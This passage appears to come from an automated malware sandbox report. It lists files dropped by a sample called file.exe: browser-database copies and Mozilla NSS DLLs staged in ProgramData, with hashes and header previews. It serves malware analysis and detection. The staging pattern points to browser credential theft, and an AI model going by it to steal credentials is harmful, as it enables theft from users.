Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBFHJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEHDHIEGIIIDHIDHDHJJKJKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: Unlock_Tool_v2.6.5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\028c4905-b949-495b-bd52-609014b6f12b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44629
Entropy (8bit):	6.0954891084410825
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k2JLmZYoa+NSpiLcdiP2NuoKwWE7RTupzKscDX//NPm:z/Ps+wsI7ynYotCKoRTuiVIos
MD5:	604D13DE5A3A8D4105A8B9BA61F2422F
SHA1:	FBFBAE422544F98EC57E34F7F35CD7CC9863CB48
SHA-256:	A1D70F3DB0B7FF1576E0D61609F80DCB65BBF8E55F6711FF1B4C47D62F5B18DE
SHA-512:	10316276B31494FEB749DD395FBB7AE57E088F3E3CD79C74C5B571F65B38AD8D1A9556524F02241C352A95F09B878502CFC85189642D9F33F6D196ADA1246B30
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\059c5f40-7df5-4a75-8c07-e27a59de2819.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44727
Entropy (8bit):	6.095336675563657
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xEJLmZYoa+N804RWMTFPivKwWE7RTupzKscDX//NPCh:z/Ps+wsI7yOWot7KoRTuiVIos
MD5:	EBDD8D229CBC5800B61DB70FD6458A8F
SHA1:	BD766BD5EFD789B91FAF958941DF45058FE73F86
SHA-256:	8FE23946D385EA3C778A9959300ED4F344F3F9021468C17F59FE5ED30BB4E8F7
SHA-512:	596127197676C8BE2A4443CB889809925CDF868CC4D680A2AC4F4191965FFFA91A1AE8C8AE46039C7EAEE958D6142BDA82C20FB0B8BEC2795CE200A0F47F20FF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\16158941-d80d-441d-ad04-9f30c2eb7df8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090554292380537
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOCLmZtgtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynVtGhOxqQoRTuiVIos
MD5:	0C37713142D1AC46319264F594ECA105
SHA1:	FBBBE39526DC4777A722ED8BAE0824EAF8B367CE
SHA-256:	0B3F9DDD01B29085DE8BA3A9B80EFFDEC96917976544E289C1C4B4E4D96F8FC9
SHA-512:	27394FB4048DD813CD09D5F689282FEF5FB2D916E41EC04C3635ED5AA520D36334A8D9494992AFFFA67B0233F7F236B94974FEF1DE70184111C4515C9749CA64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9834b6ce-16db-43af-a1d1-068e6be0f5e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44629
Entropy (8bit):	6.0954891084410825
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k2JLmZYoa+NSpiLcdiP2NuoKwWE7RTupzKscDX//NPm:z/Ps+wsI7ynYotCKoRTuiVIos
MD5:	604D13DE5A3A8D4105A8B9BA61F2422F
SHA1:	FBFBAE422544F98EC57E34F7F35CD7CC9863CB48
SHA-256:	A1D70F3DB0B7FF1576E0D61609F80DCB65BBF8E55F6711FF1B4C47D62F5B18DE
SHA-512:	10316276B31494FEB749DD395FBB7AE57E088F3E3CD79C74C5B571F65B38AD8D1A9556524F02241C352A95F09B878502CFC85189642D9F33F6D196ADA1246B30
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\8d543858-45e8-43fb-8aba-3fcd18a66c23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B331D-1338.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4889777189913452
Encrypted:	false
SSDEEP:	6144:goCPDbkRCNiLK/vBqO0QThFZtHaHl40e:iNi+//k
MD5:	A5A5B6986FAD38C07041E556DCDAB192
SHA1:	C9758894E26ED3CDA2FE9BF19141EC7997D1E3A9
SHA-256:	FE2DB68DD2D1DD0B9628B642B9B617E7990BEED8F08A707C5D8E12F04A8229E3
SHA-512:	A0E4E272F9A597C3328C299AAE37BA856EB6CB8BB044274E3B933AA2563CA15568A32E78DB508E16BAF59B4D7878A0E9DB0215B04501E74159779197025BAA64
Malicious:	false
